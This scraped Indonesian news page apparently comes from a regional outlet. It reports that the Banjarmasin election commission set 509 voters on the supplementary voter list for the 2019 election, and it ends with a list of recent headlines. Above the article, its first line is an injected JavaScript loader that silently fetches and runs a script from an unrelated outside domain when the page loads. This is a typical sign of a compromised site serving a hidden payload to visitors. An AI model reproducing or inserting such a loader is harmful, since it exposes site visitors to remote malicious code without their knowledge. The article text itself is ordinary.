(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ada 509 Pemilih Masuk DPTb di KPU Banjarmasin


BANJARMASIN, KPU Kota Banjarmasin menetapkan DPTb (Daftar Pemilih Tambahan) yang masuk dalam Pemilu 2019 berjumlah sebanyak 509 pemilih. Hasil itu ditetapkan dalam rapat pleno KPU Kota Banjarmasin, Minggu (17/2), rekapitulasi DPTb. DPTb 509 orang itu dengan rincian pemilih laki-laki berjumlah 349 dan perempuan berjumlah 160 pemilih, tersebar di 5 kecamatan, 52 kelurahan, dan 1.879 TPS.

Sedangkan untuk DPT yang keluar mengurus di daerah asal sebanyak 418 pemilih dengan rincian pemilih laki-laki berjumlah 323 pemilih dan perempuan berjumlah 95 pemilih, tersebar di 5 kecamatan, 52 kelurahan, dan 1.879 TPS.

KPU memang harus memproses pelaksanaan pemilih tambahan ini, karena di surat suara nanti akan terdiri dari DPT dan DPTb.  “Jadi DPTb ini merupakan sesuatu yang penting bagi KPU untuk pemutakhiran datanya,” jelas Ketua KPU Kota Banjarmasin Khairunnizan.

Pendataan DPTb ini adalah salah satu upaya KPU dalam hal menangani jika nanti para pemilih tidak bisa ikut menggunakan hak suara di tempat asal, sehingga bisa dilakukan di tempat lain. Kebanyakan DPTb adalah para mahasiswa dan para pekerja perusahaan pabrik. Namun tidak menutup kemungkinan  juga orang-orang yang mempunyai mobilitas tinggi.

Hingga saat ini ada 91 penambahan DPTb, dimana banyak masyarakat datang dan keluar antar provinsi. Untuk TPS, jumlah DPTb saat ini masih belum berpengaruh. Namun KPU Kalsel akan melakukan pemetaan dan memasukan DPTb di TPS-TPS yang jumlah DPT-nya di bawah 300.

Tahapan terakhir pendataan DPTb berakhir 17 Februari untuk tahap pertama. Kemudian, tahap kedua akan berlanjut hingga pada 12 Maret mendatang dan setelah itu akan kembali diadakan rapat pleno terkait DPTb.

Ketua KPU Kota Banjarmasin berharap agar dengan segera masyarakat mengurus formulir pindah pilih ini ke KPU Kota Banjarmasin dengan membawa e-KTP, kartu keluarga, dan data alamat di mana nantinya akan memilih.

“Tujuannya supaya pemilih yang ingin pindah pilih bisa banyak datang, karena kalau lambat berpangaruh proses logistik. Logistik saat ini dalam proses pengadaan dan percetakan,” jelasnya. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

13 menit ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

54 menit ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

12 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

12 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

13 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

13 jam ago

This website uses cookies.